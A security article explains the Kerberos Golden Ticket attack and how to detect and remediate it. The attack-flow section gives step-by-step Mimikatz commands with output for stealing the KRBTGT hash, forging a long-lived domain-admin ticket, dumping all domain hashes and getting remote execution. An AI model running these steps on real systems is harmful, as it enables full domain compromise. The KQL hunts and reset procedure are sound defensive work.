A golden ticket attack is the forgery of a Kerberos ticket-granting ticket (TGT) with the stolen KRBTGT key, giving an attacker any identity and any group membership in an Active Directory domain until the KRBTGT password is reset twice. It maps to MITRE ATT&CK T1558.001.

When an attacker extracts the KRBTGT hash from a domain controller, they no longer need credentials, valid accounts, or even network connectivity to the KDC to authenticate as anyone in the domain. They become, effectively, the Kerberos authority itself - able to issue their own tickets for any identity, any group membership, any privilege level, with expiration dates set a decade into the future. This is the Golden Ticket attack.

Understanding Golden Tickets is not optional for anyone defending Active Directory environments. The technique has been observed in nation-state intrusions, ransomware pre-deployment phases, and insider threat cases. It is one of the most durable persistence mechanisms known, surviving password resets, account disabling, and even some domain rebuilds if the remediation procedure is not followed exactly.


Kerberos TGT Flow: The Foundation

Before forging tickets, you need to understand what a legitimate Kerberos authentication flow looks like. Active Directory uses Kerberos version 5 as its primary authentication protocol.

Normal TGT issuance:

  1. Client sends an AS-REQ (Authentication Service Request) to the KDC, encrypted with the user’s password hash.
  2. The KDC validates the request and issues an AS-REP containing a TGT - a blob encrypted with the KRBTGT hash - and a session key encrypted with the user’s hash.
  3. The client stores the TGT. When it needs access to a service, it presents the TGT to the KDC in a TGS-REQ.
  4. The KDC decrypts the TGT with the KRBTGT hash, validates it, and issues a Service Ticket (TGS) encrypted with the target service account’s hash.
  5. The client presents the Service Ticket to the target service, which decrypts it with its own hash and grants access.

The KRBTGT hash is the trust anchor for the entire chain. It is the only secret that validates TGTs. Every domain controller shares the same KRBTGT hash - it is synchronized across the domain. The KDC never contacts the client during service ticket validation; it simply trusts the TGT’s contents.

The PAC (Privilege Attribute Certificate):

Embedded inside every Kerberos ticket is a PAC - a Microsoft extension containing the user’s SID, group memberships (including Domain Admins, Enterprise Admins, etc.), and user account flags. The PAC is signed with KRBTGT. When an attacker forges a TGT, they control the PAC entirely - they can insert arbitrary SIDs, claim Domain Admin membership for a non-privileged account, or even create a ticket for a user account that does not exist in the directory.

Kerberos AS and TGS exchange with a forged TGT entering at the TGS-REQ step, skipping the AS-REQ so no event 4768 is logged
A forged TGT skips the AS exchange entirely, which is why no event 4768 exists for it

Why KRBTGT Is the Crown Jewel

The KRBTGT account exists in every Active Directory domain. It is a built-in service account that cannot be deleted, cannot be used for interactive logon, and is disabled by default from a logon perspective. Its password is set automatically when the domain is created and is rarely changed - in many production environments, the KRBTGT hash has not rotated in years or even decades.

Extracting the KRBTGT hash requires one of the following:

  • Domain Admin privileges and access to a domain controller (to run Mimikatz lsadump::lsa or lsadump::dcsync)
  • DCSync rights - specifically the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All directory permissions, which by default only Domain Admins and Domain Controllers hold
  • Physical or hypervisor access to a domain controller to extract its NTDS.dit database

Once extracted, the hash is usable offline. The attacker does not need to remain connected to the domain - the forgery happens entirely on the attacker’s machine.


Attack Flow: From Compromise to Golden Ticket

Step 1: Gain Domain Admin or DCSync Rights

The attacker has already escalated privileges via some earlier technique - credential stuffing, Kerberoasting, AS-REP roasting, NTLM relay, or a zero-day. They now have Domain Admin or equivalent.

Step 2: Move Laterally to a Domain Controller

1# Verify current user context
2whoami /groups | findstr "Domain Admins"
3
4# Establish a session with the DC
5Enter-PSSession -ComputerName DC01.corp.local -Credential CORP\Administrator

Step 3: Extract the KRBTGT Hash with Mimikatz

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /patch
Domain : CORP / S-1-5-21-3107808321-1234567890-987654321

RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 8846f7eaee8fb117ad06bdd830b7586c

Alternatively, using DCSync (does not require touching LSASS on the DC):

mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN           : krbtgt
** SAM ACCOUNT **
SAM Username         : krbtgt
Object Security ID   : S-1-5-21-3107808321-1234567890-987654321-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c

Collect the following values - all are needed for ticket forging:

  • KRBTGT NTLM hash: 8846f7eaee8fb117ad06bdd830b7586c
  • Domain SID: S-1-5-21-3107808321-1234567890-987654321
  • Domain FQDN: corp.local
  • Domain NetBIOS name: CORP

Step 4: Forge the Golden Ticket

The attacker moves this data to their attack workstation. No further domain connectivity is required until they want to use the ticket.

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3107808321-1234567890-987654321 /krbtgt:8846f7eaee8fb117ad06bdd830b7586c /id:500 /groups:512,519,518,513,516 /endin:87600 /renewmax:262800 /ptt

Parameter breakdown:

  • /user:Administrator - The username embedded in the ticket (does not need to exist)
  • /domain:corp.local - Target domain FQDN
  • /sid:S-1-5-21-... - Domain SID (RID is appended automatically)
  • /krbtgt:8846f... - The stolen KRBTGT NTLM hash
  • /id:500 - RID of the forged user (500 = built-in Administrator)
  • /groups:512,519,518,513,516 - Group SIDs: Domain Admins, Enterprise Admins, Schema Admins, Domain Users, Domain Controllers
  • /endin:87600 - Ticket validity in minutes (87600 = ~60 days; some operators use 525600 for 1 year or 5256000 for 10 years)
  • /renewmax:262800 - Maximum renewal period in minutes
  • /ptt - Pass-the-ticket: inject directly into current session memory

Step 5: Verify the Ticket Is Loaded

 1klist
 2
 3Current LogonId is 0:0x3e7
 4
 5Cached Tickets: (1)
 6
 7#0>	Client: Administrator @ corp.local
 8	Server: krbtgt/corp.local @ corp.local
 9	KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
10	Ticket Flags 0x40e00000 -> forwardable renewable initial pre-authent
11	Start Time: 5/9/2026 8:00:00 (local)
12	End Time:   5/9/2026 18:00:00 (local)
13	Renew Time: 5/16/2026 8:00:00 (local)
14	Session Key Type: RSADSI RC4-HMAC(NT)

Step 6: Use the Ticket for Lateral Access

1# Access Domain Controller C$ share
2dir \\DC01.corp.local\C$
3
4# Dump all hashes from the domain (pass-the-ticket + DCSync)
5mimikatz # lsadump::dcsync /domain:corp.local /all /csv
6
7# Remote code execution via PsExec with forged ticket
8PsExec.exe \\DC01.corp.local cmd.exe

The ticket works across all services the specified user and groups would have access to - file shares, RDP, WMI, PowerShell Remoting, Exchange, SharePoint, and more.


Real Incident Examples

NotPetya (June 2017): The Mimikatz-based credential harvesting in NotPetya extracted NTLM hashes and, in some environments, enabled pass-the-hash and Golden Ticket attacks for lateral propagation. The malware’s ability to move laterally without re-authenticating was a core factor in its speed - organizations with flat networks and poor tier separation saw domain-wide compromise in under an hour.

HAFNIUM Exchange Server Attacks (March 2021): Post-exploitation tooling used by HAFNIUM, following exploitation of ProxyLogon (CVE-2021-26855), included credential extraction from LSASS. In environments where the Exchange server had domain controller-equivalent permissions (a common misconfiguration), attackers had a path to domain-level credentials, which is exactly the position from which KRBTGT theft and Golden Ticket persistence become possible.

SolarWinds SUNBURST (December 2020): FireEye’s incident response findings noted that threat actors used forged SAML tokens (Golden SAML) and Kerberos ticket abuse in post-compromise activity across compromised government and enterprise environments. Golden Ticket persistence was one mechanism used to maintain access after initial C2 channels were severed.


Persistence Even After Password Resets

This is where the Golden Ticket becomes uniquely dangerous. An administrator discovers an account was compromised and resets its password. The Golden Ticket doesn’t care - it contains no reference to the compromised account’s password. It is signed only by KRBTGT.

Even if:

  • The compromised admin account is disabled
  • The account’s password is reset
  • The account is removed from Domain Admins

The Golden Ticket continues to function until KRBTGT is double-reset.

Why double reset? Active Directory maintains the current KRBTGT password and its immediately preceding value. The KDC accepts tickets encrypted with either. Resetting once makes the old hash the “previous” value - still valid. Only the second reset, made at least 10 hours later (the default maximum ticket lifetime) and after replication has reached every DC, removes the old key, so tickets forged with it can no longer be validated.


Detection

Golden vs silver vs diamond vs sapphire tickets

Each forged-ticket technique leaves different evidence, so detection depends on knowing which one you are looking for.

TicketWhat is forgedKey neededEvent 4768 on the DC?Best detection signal
GoldenThe whole TGT, offlineKRBTGTNo: the AS exchange is skippedService tickets (4769) with no prior TGT for that account and host; odd lifetime; nonexistent account; PAC anomalies
SilverA service ticket, offlineThe target service accountNo, and no 4769 eitherLogons (4624) on the target with no matching 4769 on any DC; PAC validation failures
DiamondThe PAC inside a real TGTKRBTGTYes: a real AS exchange happensGroup claims in the ticket that do not match AD membership (compare 4627 with the directory)
SapphireA real TGT carrying another user’s genuine PACKRBTGTYesUnusual S4U2self and U2U requests; evidence of KRBTGT theft (DCSync, NTDS.dit access)

MITRE ATT&CK mapping: Golden Ticket is T1558.001 and Silver Ticket T1558.002. The usual precursors are T1003.006 (DCSync) and T1003.003 (NTDS), and use of the ticket is T1550.003 (Pass the Ticket).

Windows security events

EventLogged onWhy it matters for Golden Tickets
4768 (TGT requested)Domain controllerMissing for a forged TGT, which is the core detection idea
4769 (service ticket requested)Domain controllerAppears when the forged TGT is used; correlate it with 4768 and 4770
4770 (TGT renewed)Domain controllerCounts as legitimate TGT history when you correlate
4624 / 4672 (logon, special privileges)Target serverAdmin logons from accounts or hosts that do not normally hold them
4627 (group membership)Target serverLets you compare claimed groups with real AD membership (diamond tickets)

Two details trip people up. First, the Ticket Encryption Type in 4769 describes the service ticket, not the TGT, so an RC4 value there is a weak golden ticket signal on its own; Defender for Identity sees the TGT’s encryption type in network traffic and is better placed to spot a downgrade. Second, since Microsoft’s PAC_REQUESTOR hardening (KB5008380), tickets for usernames that do not exist in AD are rejected, but forged tickets for real accounts still work, so detection still matters.

For a full set of Sentinel and Defender XDR hunting queries covering Kerberoasting, DCSync and Golden Tickets together, see the KQL hunting pack for Kerberoasting, DCSync and Golden Ticket detection.

Microsoft Sentinel KQL: service tickets with no TGT history

This is the classic golden ticket hunt: find 4769 service ticket requests where the same account and client IP has no 4768 or 4770 in the lookback window. In the SecurityEvent table the event fields live in the EventData XML, so the query parses them first. 4769 also reports the account as user@REALM, which is normalised here.

let lookback = 7d;
let KerbEvents = (id:int) {
    SecurityEvent
    | where TimeGenerated > ago(lookback) and EventID == id
    | extend ed = parse_xml(EventData)
    | mv-apply d = ed.EventData.Data on (
        summarize ev = make_bag(bag_pack(tostring(d['@Name']), tostring(d['#text']))))
    | extend Account  = tolower(tostring(split(tostring(ev.TargetUserName), "@")[0])),
             ClientIP = trim_start("::ffff:", tostring(ev.IpAddress)),
             Service  = tostring(ev.ServiceName),
             EncType  = tostring(ev.TicketEncryptionType)
};
let TgtHistory = union KerbEvents(4768), KerbEvents(4770)
    | distinct Account, ClientIP;
KerbEvents(4769)
| where TimeGenerated > ago(1h)
| where Account !endswith "$"            // skip computer accounts
| join kind=leftanti TgtHistory on Account, ClientIP
| project TimeGenerated, Computer, Account, ClientIP, Service, EncType

Expect some false positives from DHCP changes, NAT and VPN pools, and DCs whose security logs are not all collected. It will not catch diamond or sapphire tickets, because those begin with a real TGT request.

Microsoft Sentinel KQL: RC4 service tickets for privileged accounts

SecurityEvent
| where TimeGenerated > ago(1d) and EventID == 4769
| extend ed = parse_xml(EventData)
| mv-apply d = ed.EventData.Data on (
    summarize ev = make_bag(bag_pack(tostring(d['@Name']), tostring(d['#text']))))
| extend Account = tolower(tostring(split(tostring(ev.TargetUserName), "@")[0])),
         EncType = tostring(ev.TicketEncryptionType),
         Service = tostring(ev.ServiceName)
| where EncType == "0x17"                // RC4-HMAC
| where Account in~ ("administrator")    // replace with your privileged accounts or a watchlist
| summarize Requests = count(), Services = make_set(Service, 20) by Account, bin(TimeGenerated, 1h)

Use this as supporting evidence rather than a standalone alert. Microsoft’s 2026 RC4 hardening (CVE-2026-20833) made AES the default for accounts without an explicit encryption setting, which makes RC4 stand out more, but an attacker holding the KRBTGT AES key can still forge AES tickets.

Microsoft Defender for Identity alerts

Defender for Identity watches Kerberos traffic on domain controllers and is the most direct way to catch forged tickets. Current alert names to look for:

AlertIDWhat it means
Suspected Golden Ticket usage (encryption downgrade)2009A TGT used a weaker encryption type than the account supports
Suspected Golden Ticket usage (nonexistent account)2027A ticket for an account that does not exist in AD
Suspected Golden Ticket usage (forged authorization data)2013The PAC was manipulated
Suspected Golden Ticket usage (ticket anomaly)2032Structural anomalies typical of forging tools
Suspected Golden Ticket usage (ticket anomaly using RBCD)2040A forged ticket abusing resource-based constrained delegation
Suspected Golden Ticket usage (time anomaly)2022Lifetime or timestamps outside domain policy
Possible golden ticket attack, plus its (suspicious ticket) and (CVE-2021-42287 exploitation) variantsDefender formatSuspicious TGS requests that point to KRBTGT misuse
Kerberos privilege escalation using a diamond ticketDefender formatA modified PAC inside a real TGT
Suspected DCSync attack (replication of directory services)2006The KRBTGT key theft that usually comes first

The numbered IDs are the classic alert external IDs; Microsoft keeps the same IDs when an alert is shown in the newer Defender format, where the names can differ (for example, the DCSync alert appears as “DCSync attack (replication of directory services)”).

Indicators of compromise

  • Service ticket requests with no TGT history for the same account and source
  • Ticket lifetimes beyond the domain’s maximum user ticket lifetime (default 10 hours)
  • Directory replication (DRSUAPI GetNCChanges) requests from machines that are not domain controllers
  • LSASS access from unusual processes on domain controllers (Sysmon Event ID 10)
  • Known credential-theft tooling on disk or in memory on Tier 0 systems

Defense and Mitigation

1. KRBTGT Double-Reset Procedure

Timeline: detect, contain, first KRBTGT reset, wait at least 10 hours and verify replication, second reset after which forged tickets are rejected
Forged tickets keep working until the second reset removes the previous KRBTGT key

Microsoft’s guidance is two resets of the KRBTGT password with at least 10 hours between them. Ten hours is the default Maximum lifetime for user ticket and Maximum lifetime for service ticket; if your policy sets a longer lifetime, the wait must be longer than the configured value. Confirm the first reset has replicated to every domain controller before the second.

  1. Contain first. Find how the key leaked, remove unexpected replication rights and clean up Tier 0 systems. If the attacker still has domain controller access, they will simply steal the new key.
  2. Check replication health on every DC (commands below). A reset that has not replicated everywhere causes authentication failures.
  3. Reset #1. This creates a new key; the old one is kept as the previous key, so forged tickets still validate.
  4. Wait at least 10 hours (or longer than your configured maximum ticket lifetime) and confirm the change has replicated to every DC.
  5. Reset #2. The key used to forge the tickets is now gone, and those tickets fail.
  6. Repeat for every domain in the forest, and for each read-only DC’s own krbtgt_NNNNN account.

Tooling note: Do not use the old New-KrbtgtKeys.ps1. Microsoft archived that repository in March 2024 and no longer maintains it; its README only points to community-maintained successors, which Microsoft does not support. The supported procedure is the one in Microsoft’s AD forest recovery guidance: reset the krbtgt account password (for example in Active Directory Users and Computers), twice, with the wait described above. Defender for Identity’s “Change password for krbtgt account” posture assessment links to the same procedure and flags any krbtgt password older than 180 days, which is a sensible rotation interval outside incidents. Rehearse it in a lab so the steps are familiar before an incident needs them.

Monitor replication health before and after:

1repadmin /showrepl
2repadmin /replsummary

2. Tiered Administration Model

Prevent domain admin credentials from ever touching Tier 1 (server) or Tier 2 (workstation) systems. Domain controllers are Tier 0 - only Tier 0 accounts should authenticate to them. This limits the blast radius of credential theft.

3. Protected Users Security Group

Add privileged accounts to the Protected Users group:

1Add-ADGroupMember -Identity "Protected Users" -Members "DA_AccountName","SVC_KerberosAdmin"

Protected Users members cannot use RC4 for Kerberos (only AES), cannot use NTLM authentication, and their TGTs are limited to 4 hours with no renewal. This makes Golden Ticket persistence harder and Golden Ticket use noisier.

4. Enforce AES-Only Kerberos

Set msDS-SupportedEncryptionTypes to 0x18 (AES128 and AES256) on privileged and service accounts and phase out RC4. Microsoft’s 2026 RC4 hardening (CVE-2026-20833) moved the domain default to AES for accounts without an explicit setting, so check which accounts still allow RC4 explicitly. RC4 use then stands out, although an attacker with the KRBTGT AES key can still forge AES tickets.

1# Accounts that still explicitly allow RC4 (bit 0x4)
2Get-ADUser -Filter * -Properties 'msDS-SupportedEncryptionTypes' |
3  Where-Object { $_.'msDS-SupportedEncryptionTypes' -band 0x4 } |
4  Select-Object Name, 'msDS-SupportedEncryptionTypes'

5. Privileged Access Workstations (PAWs)

Domain Admin authentication should only originate from dedicated, hardened PAW machines that are never used for email, web browsing, or general productivity tasks. PAWs should run on isolated VLANs with firewall rules blocking internet access.

6. Microsoft Defender for Identity

Deploy the Defender for Identity sensor on every domain controller (and on AD FS and AD CS servers). It analyses Kerberos and replication traffic and raises the Golden Ticket, diamond ticket and DCSync alerts listed in the detection section. MDI integrates with Microsoft Sentinel for automated response playbooks.

7. Limit DCSync Rights

Audit who holds DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on the domain naming context:

1Import-Module ActiveDirectory
2$domainDN = (Get-ADDomain).DistinguishedName
3(Get-ACL "AD:\$domainDN").Access |
4  Where-Object {$_.ActiveDirectoryRights -match "ExtendedRight" -and
5               ($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or
6                $_.ObjectType -eq "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2")} |
7  Select-Object IdentityReference, ActiveDirectoryRights

Remove any accounts that should not have replication rights.


Summary

The Golden Ticket attack exploits the fundamental trust model of Kerberos: the KDC signs TGTs, and services trust what the KDC has signed. By extracting the KRBTGT hash, an attacker becomes the KDC in the eyes of every service in the domain. Detection relies on anomaly-based monitoring - specifically hunting for service tickets without TGT history, impossible lifetimes and PAC anomalies, backed by Defender for Identity on every domain controller. Remediation requires a precise double reset of KRBTGT, at least 10 hours apart, executed with attention to replication timing, paired with long-term architectural controls that keep Tier 0 credentials isolated.

MITRE ATT&CK: T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket



References